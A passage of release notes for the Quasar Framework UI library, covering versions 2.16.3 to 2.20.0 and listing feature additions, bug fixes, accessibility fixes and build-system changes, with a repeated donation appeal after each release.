focus on any element while in the wait state #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.20.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.20.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.19.3...quasar-v2.20.0) Quasar UI is now much smaller in size and runs faster! We are bumping the minor version because this release is significant in many areas. #### Changes - feat+perf(ui): modernize codebase - feat+fix+perf(runSequentialPromises): modernize; avoid crashing when passing non-async fn; avoid setTimeout() which adds unnecessary delays (they add up) - feat(Cookies): modernize; use MaxAge instead of expires - feat+perf(uid): modernize function - fix(QPopupProxy): should not emit update:modelValue due to useAnchor() - fix(TouchSwipe): account for UMD too where modifiers will be lowercased to work for mouseCapture - fix(Ripple): correctly destroy ctx - fix(ui): QDrawer hideOnRouteChange logic - feat(ui): remove legacy "vetur" step from the build - refactor(ui): improve the build system; better leverage of the rolldown API - fix(frameDebounce): calling context of execution function - fix(ui): add missing HasElectron type #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.19.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.19.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.19.2...quasar-v2.19.3) #### Changes - feat(ui): new icon sets -> Fontawesome v7 (& svg, & pro variants), Svg Ionicons v7 & v8 - feat(ui): decouple q/extras types from the UI package - feat(ui): update Italian translations ([#&#8203;18284](https://github.com/quasarframework/quasar/issues/18284)) - fix(useInterval): remove unused argument passed to removeInterval (fixes [#&#8203;18273](https://github.com/quasarframework/quasar/issues/18273)) ([#&#8203;18274](https://github.com/quasarframework/quasar/issues/18274)) - fix(ui): UMD prod -> isRuntimeSsrPreHydration is undefined in setup() due to bug in rolldown [#&#8203;18272](https://github.com/quasarframework/quasar/issues/18272) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.19.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.19.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.19.1...quasar-v2.19.2) #### Changes - fix(QIcon): error with material-icons-outlined [#&#8203;18267](https://github.com/quasarframework/quasar/issues/18267) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.19.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.19.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.19.0...quasar-v2.19.1) #### Changes - fix(ui): QInput/QSelect placeholder visible behind label when field is empty [#&#8203;18265](https://github.com/quasarframework/quasar/issues/18265) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.19.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.19.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.7...quasar-v2.19.0) We're bumping the minor version without new features to signal our important shift to the Oxc+Rolldown ecosystem for our internal build system (which also generates smaller Quasar UI dist files). For the standalone/umd version, we're now targetting the "baseline-widely-available" agreed minimum versions (chrome/edge 111, firefox 114, safari/ios 16.4) and Node.js v20 (already required by q/app-vite \[v22 for this one] & q/app-webpack). #### Changes - feat(ui): \[internal build system] replace: esbuild -> rolldown, cssnano -> lightningcss, eslint -> oxfmt & oxlint - fix(QEditor): save selection range before execCommand('createLink') t… ([#&#8203;18249](https://github.com/quasarframework/quasar/issues/18249)) - fix(ui): date/getMinDate & date/getMaxDate should return Date instead of number ([#&#8203;18261](https://github.com/quasarframework/quasar/issues/18261)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.7`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.7) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.6...quasar-v2.18.7) #### Changes - perf(ui): runSequentialPromise() -> never start more threads than supplied number of promises - fix(QBtnDropdown): API -> description for 'cover' property ([#&#8203;18208](https://github.com/quasarframework/quasar/issues/18208)) - fix(ui): openURL() should not invoke rejectFn when noopener is set ([#&#8203;18221](https://github.com/quasarframework/quasar/issues/18221)) ([#&#8203;18229](https://github.com/quasarframework/quasar/issues/18229)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.6`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.6) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.5...quasar-v2.18.6) #### Changes - fix(ui): threadsNumber not working correctly for runSequentialPromises() util #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.5`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.5) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.4...quasar-v2.18.5) #### Changes - feat+perf(QPagination): blur input after update on mobile; various perf work on events [#&#8203;18097](https://github.com/quasarframework/quasar/issues/18097) - fix(QField/QInput/...): a11y compliancy - move q-field\_\_label before the input (fix [#&#8203;16855](https://github.com/quasarframework/quasar/issues/16855)) ([#&#8203;18031](https://github.com/quasarframework/quasar/issues/18031)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.3...quasar-v2.18.4) #### New - feat(QInput): new prop -> mask-tokens [#&#8203;18114](https://github.com/quasarframework/quasar/issues/18114) [#&#8203;12759](https://github.com/quasarframework/quasar/issues/12759) - feat(JSON): new JSON category for validation-related props #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.2...quasar-v2.18.3) #### Changes - fix(use-mask): changing mask breaks the model [#&#8203;18128](https://github.com/quasarframework/quasar/issues/18128) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.1...quasar-v2.18.2) #### New - feat(ui): Albanian Quasar language pack ([#&#8203;17985](https://github.com/quasarframework/quasar/issues/17985)) #### Changes - fix(Dark): fix flash of light theme with SSR, fixes [#&#8203;17953](https://github.com/quasarframework/quasar/issues/17953) ([#&#8203;17965](https://github.com/quasarframework/quasar/issues/17965)) - fix(ui): fix \_\_splitDate function: invalid call function 'pad' for date.year ([#&#8203;17907](https://github.com/quasarframework/quasar/issues/17907)) - fix(QEditor): consistent use of htmlTip in editor buttons [#&#8203;16933](https://github.com/quasarframework/quasar/issues/16933) ([#&#8203;17899](https://github.com/quasarframework/quasar/issues/17899)) - fix(QEditor): remove tabindex: -1 from remove link button, add aria-label to QEditor buttons (fix: partially [#&#8203;15675](https://github.com/quasarframework/quasar/issues/15675), [#&#8203;13275](https://github.com/quasarframework/quasar/issues/13275)) ([#&#8203;17893](https://github.com/quasarframework/quasar/issues/17893)) - fix(ui): replace ariaLabel with aria-label (fix: [#&#8203;17988](https://github.com/quasarframework/quasar/issues/17988)) ([#&#8203;17996](https://github.com/quasarframework/quasar/issues/17996)) - fix(ui): remove double border-top in no data scenario (fix [#&#8203;18006](https://github.com/quasarframework/quasar/issues/18006)) ([#&#8203;18020](https://github.com/quasarframework/quasar/issues/18020)) - fix(ui): loosen getMinDate/getMaxDate types to allow spread usage (fix: [#&#8203;17858](https://github.com/quasarframework/quasar/issues/17858)) ([#&#8203;18047](https://github.com/quasarframework/quasar/issues/18047)) - fix(QTable): support meta key for row selection (fix [#&#8203;18042](https://github.com/quasarframework/quasar/issues/18042)) ([#&#8203;18043](https://github.com/quasarframework/quasar/issues/18043)) - fix(QInput): useMask wrongly consumes character (fix [#&#8203;17980](https://github.com/quasarframework/quasar/issues/17980)) ([#&#8203;18018](https://github.com/quasarframework/quasar/issues/18018)) - fix(AddressbarColor): unsupported tag 'apple-mobile-web-app-status-bar-style' replaced by supported tag 'theme-color' for iOS/Safari (fix: [#&#8203;17900](https://github.com/quasarframework/quasar/issues/17900)) ([#&#8203;17989](https://github.com/quasarframework/quasar/issues/17989)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.18.0...quasar-v2.18.1) #### Fixes - fix(ui): add aria-label to date buttons (fix [#&#8203;16713](https://github.com/quasarframework/quasar/issues/16713)) ([#&#8203;17884](https://github.com/quasarframework/quasar/issues/17884)) - fix(QChip): outline + avatar --> correctly place the avatar [#&#8203;17885](https://github.com/quasarframework/quasar/issues/17885) - fix(QSelect): content overflows when selected options are too long [#&#8203;17875](https://github.com/quasarframework/quasar/issues/17875) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.18.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.18.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.7...quasar-v2.18.0) #### New - feat(QTable): new props -> table-row-style-fn, table-row-class-fn, grid-style-fn, grid-class-fn ([#&#8203;8311](https://github.com/quasarframework/quasar/issues/8311)) - feat(QRating): Add color transition for QRating icons ([#&#8203;17798](https://github.com/quasarframework/quasar/issues/17798)) - feat(QMenu): Add no-esc-dismiss prop to QMenu ([#&#8203;17784](https://github.com/quasarframework/quasar/issues/17784)) - feat(QBtnDropdown): add no-esc-dismiss prop ([#&#8203;17784](https://github.com/quasarframework/quasar/issues/17784)) - feat(QBtnDropdown): no-focus & no-refocus properties passed to the QMenu of QBtnDropdown ([#&#8203;17802](https://github.com/quasarframework/quasar/issues/17802)) - feat(ui/lang): Add support for Urdu language from Pakistan ([#&#8203;17771](https://github.com/quasarframework/quasar/issues/17771)) - feat(ui): Ability to avoid Quasar changing focused element by defining evt.qAvoidFocus flag to true [#&#8203;17803](https://github.com/quasarframework/quasar/issues/17803) - feat(ui): add pure CSS icons support ([#&#8203;17762](https://github.com/quasarframework/quasar/issues/17762)) - feat(ui): modernize codebase with js operators now supported fully on all our target environments #### Fixes - fix(ui): remove redundant role in q-icon ([#&#8203;17852](https://github.com/quasarframework/quasar/issues/17852)) - fix(ui): add aria-label to table pagination buttons (fix: [#&#8203;17148](https://github.com/quasarframework/quasar/issues/17148)) ([#&#8203;17809](https://github.com/quasarframework/quasar/issues/17809)) - fix(QDialog): JSON > "escape-key" event > description mentions "no-esc-key" instead of "no-esc-dismiss" - fix(ui): add missing filter prop to QTable #no-data JSON API #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.7`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.7) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.6...quasar-v2.17.7) #### Changes - fix(ui): add rowsNumber to qtable slots/methods/etc. where missing (fix: [#&#8203;17719](https://github.com/quasarframework/quasar/issues/17719)) ([#&#8203;17757](https://github.com/quasarframework/quasar/issues/17757)) - fix(QTable): [@&#8203;row-context-menu](https://github.com/row-context-menu) not being called when QTable is in grid mode [#&#8203;17758](https://github.com/quasarframework/quasar/issues/17758) - fix(ui): fix QOptionGroup options type [#&#8203;17710](https://github.com/quasarframework/quasar/issues/17710) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.6`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.6) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.5...quasar-v2.17.6) #### Fixes - fix(ui/lang): chinese simplified language pack iso name [#&#8203;17723](https://github.com/quasarframework/quasar/issues/17723) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.5`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.5) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.4...quasar-v2.17.5) #### Fixes - fix(QTabs): offsetwidth error [#&#8203;17664](https://github.com/quasarframework/quasar/issues/17664) - fix(ui/json): spelling in notify ([#&#8203;17697](https://github.com/quasarframework/quasar/issues/17697)) - fix+perf(QCarousel/QStepper/QTabPanels): active panel renders twice initially [#&#8203;17698](https://github.com/quasarframework/quasar/issues/17698) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.3...quasar-v2.17.4) #### Fixes - fix(ui): svg<type>Grade removed. Use svg<type>Star. Used in iconsets as "rating". [#&#8203;17640](https://github.com/quasarframework/quasar/issues/17640) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.2...quasar-v2.17.3) #### Fixes - fix(QSelect): JSON -> missing props for "option" & "selected-item" slots [#&#8203;17619](https://github.com/quasarframework/quasar/issues/17619) - fix(iconsets): svg<type>Grade removed. Use svg<type>Star. Used in iconsets as "rating". ([#&#8203;17640](https://github.com/quasarframework/quasar/issues/17640)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.1...quasar-v2.17.2) #### Fixes - fix(QTree): incorrect type for tickStrategy ([#&#8203;17618](https://github.com/quasarframework/quasar/issues/17618)) - fix(QSelect): .value(opt).toLocaleLowerCase is not a function [#&#8203;16698](https://github.com/quasarframework/quasar/issues/16698) - fix(QSelect): regression when options is not an array [#&#8203;17613](https://github.com/quasarframework/quasar/issues/17613) [#&#8203;17598](https://github.com/quasarframework/quasar/issues/17598) - Revert "fix(ui): prevent disabled styling on disabled=false ([#&#8203;17527](https://github.com/quasarframework/quasar/issues/17527))" [#&#8203;17616](https://github.com/quasarframework/quasar/issues/17616) - fix(ui): fix File-based types for q-upload and q-file (fix: [#&#8203;17605](https://github.com/quasarframework/quasar/issues/17605)) [#&#8203;17624](https://github.com/quasarframework/quasar/issues/17624) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.17.0...quasar-v2.17.1) #### New - feat(ui): upgrade to Sass v1.80+ specs on not using builtin globals #### Fixes - Revert "fix(ui): IME composition detection not working ([#&#8203;17476](https://github.com/quasarframework/quasar/issues/17476))" [#&#8203;17536](https://github.com/quasarframework/quasar/issues/17536) - fix(ui): fix QuasarDirectives type (fix: [#&#8203;17554](https://github.com/quasarframework/quasar/issues/17554)) ([#&#8203;17559](https://github.com/quasarframework/quasar/issues/17559)) - fix(ui): allow number\[] in QSlider markerLabels type (fix: [#&#8203;17450](https://github.com/quasarframework/quasar/issues/17450)) ([#&#8203;17555](https://github.com/quasarframework/quasar/issues/17555)) - fix(ui): make headingN and sizeN optional in icon set types - fix(ui): prevent disabled styling on disabled=false ([#&#8203;17527](https://github.com/quasarframework/quasar/issues/17527)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.17.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.17.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.11...quasar-v2.17.0) ##### Potential upgrade issue The "Platform" Quasar plugin now explicitly holds all Boolean props in `Platform.is` Object. Previously, only the active/"true" ones were contained. So, for example, on a non-Firefox browser, if previously `Platform.is.firefox` would not have been declared, now it will be defined and its value is going to be `false`. So, if you were doing `'firefox' in Platform.is` or `Platform.is.firefox === undefined`, change it to `Platform.is.firefox`/`!Platform.is.firefox`. #### New - feat+refactor(ui/Platform): explicitly specify all boolean props (they were previously undefined if "false") [#&#8203;17482](https://github.com/quasarframework/quasar/issues/17482) - perf(QScrollArea): prevent content re-rendering on scroll or mousemove (fix [#&#8203;16579](https://github.com/quasarframework/quasar/issues/16579)) [#&#8203;17041](https://github.com/quasarframework/quasar/issues/17041) - feat(QScrollArea): add scroll viewport to create overscrolling effect [#&#8203;17208](https://github.com/quasarframework/quasar/issues/17208) - feat(QUploader): New prop -> thumbnail-fit ([#&#8203;17494](https://github.com/quasarframework/quasar/issues/17494)) - feat(QSelect): New prop: disable-tab-select ([#&#8203;17362](https://github.com/quasarframework/quasar/issues/17362)) - feat(QMenu/QTooltip): new Quasar CSS vars -> $menu-max-height, $tooltip-max-width, $tooltip-max-height [#&#8203;16072](https://github.com/quasarframework/quasar/issues/16072) - feat+perf(QOptionsGroup): new props -> option-value, option-label & option-disable [#&#8203;16874](https://github.com/quasarframework/quasar/issues/16874) - feat+refactor(QSpinner): mount & patch faster - chore(QSelect): small perf-related improvements #### Fixes - fix(QTabPanels): tab-panels 'transition' emit fires before transition ends (fix [#&#8203;17479](https://github.com/quasarframework/quasar/issues/17479)). ([#&#8203;17489](https://github.com/quasarframework/quasar/issues/17489)) - fix(QScrollArea): correctly compute snap position for thumb [#&#8203;17206](https://github.com/quasarframework/quasar/issues/17206) ([#&#8203;17207](https://github.com/quasarframework/quasar/issues/17207)) - fix(QTabs): Active route tab doesn't update on reactivation when it's a descendant of <keep-alive> [#&#8203;17495](https://github.com/quasarframework/quasar/issues/17495) - fix+feat(QSelect/QMenu/QTooltip): the position engine should not override max-width/height set in CSS for QMenu/QTooltip [#&#8203;16072](https://github.com/quasarframework/quasar/issues/16072) - fix(ui): Type-Error because of 'declare module "[@&#8203;vue/runtime-core](https://github.com/vue/runtime-core)"' [#&#8203;17416](https://github.com/quasarframework/quasar/issues/17416) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.11`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.11) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.10...quasar-v2.16.11) #### Fixes - fix(ui): memleak in QCheckbox/QRadio/QSpace/QSpinner(s) due to globally created vdom nodes [#&#8203;17485](https://github.com/quasarframework/quasar/issues/17485) - fix(ui): allow Font Awesome fa-classic in QIcon (fix: [#&#8203;17483](https://github.com/quasarframework/quasar/issues/17483)) ([#&#8203;17486](https://github.com/quasarframework/quasar/issues/17486)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.10`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.10) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.9...quasar-v2.16.10) #### Changes - fix(ui): add role="list" to QList (fix: [#&#8203;17439](https://github.com/quasarframework/quasar/issues/17439)) ([#&#8203;17441](https://github.com/quasarframework/quasar/issues/17441)) - fix(QTable): JSON > "virtualScrollSliceSize" default value; ([#&#8203;17480](https://github.com/quasarframework/quasar/issues/17480)) - fix(ui): IME composition detection not working ([#&#8203;17476](https://github.com/quasarframework/quasar/issues/17476)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.9`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.9) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.8...quasar-v2.16.9) #### New - feat(ui): date utils -> add format support for: Mo, do, DDDo, wo - feat(ui/lang): Create bs-BA language pack ([#&#8203;17433](https://github.com/quasarframework/quasar/issues/17433)) #### Fixes - fix(ui): apply styles to only aria-disabled="true" ([#&#8203;17436](https://github.com/quasarframework/quasar/issues/17436)) - fix(QIcon): rounded floating q-badge not "round" when working with q-icon [#&#8203;17342](https://github.com/quasarframework/quasar/issues/17342) - fix(ui): invalid icons for the Quasar IconSets on Material Symbols (webfont + svg) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.8`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.8) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.7...quasar-v2.16.8) #### Changes - feat(ui): All components to use SASS variable for font size [#&#8203;17264](https://github.com/quasarframework/quasar/issues/17264) ([#&#8203;17274](https://github.com/quasarframework/quasar/issues/17274)) - fix(ui): update GlobalComponents augment (fix:  [#&#8203;17416](https://github.com/quasarframework/quasar/issues/17416)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.7`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.7) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.6...quasar-v2.16.7) #### Fixes - fix(ui): QField/QInput/QSelect/etc clear icon aria-hidden management [#&#8203;17407](https://github.com/quasarframework/quasar/issues/17407) - chore(QBtn): remove useless re-define of aria-hidden on icons (QIcon already has it) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.6`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.6) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.5...quasar-v2.16.6) #### Fixes - fix(ui): correctly apply iOS safe area padding when using q-tabs ([#&#8203;17055](https://github.com/quasarframework/quasar/issues/17055)) - fix(ui): avoid Sass warning by upgrading to latest specs in QSkeleton (no declaration after nested rule) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.5`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.5) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.4...quasar-v2.16.5) #### Fixes - fix(util): typescript declaration for humanStorageSize ([#&#8203;17240](https://github.com/quasarframework/quasar/issues/17240)) - fix(ui): prevent `@typescript-eslint/unbound-method` error on newer utilities types ([#&#8203;17251](https://github.com/quasarframework/quasar/issues/17251)) - fix(ui): use correct list type for QSliderSlots (fix: [#&#8203;17060](https://github.com/quasarframework/quasar/issues/17060)) ([#&#8203;17061](https://github.com/quasarframework/quasar/issues/17061)) - fix(ui): fix useId composable types (fix: [#&#8203;17284](https://github.com/quasarframework/quasar/issues/17284)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.3...quasar-v2.16.4) #### Changes - fix(ui): support for legacy build systems that don't know about "exports" field [#&#8203;17190](https://github.com/quasarframework/quasar/issues/17190) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.2...quasar-v2.16.3) #### Changes - fix(QDate): transitions not working correctly [#&#8203;17183](https://github.com/quasarframework/quasar/issues/17183) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### 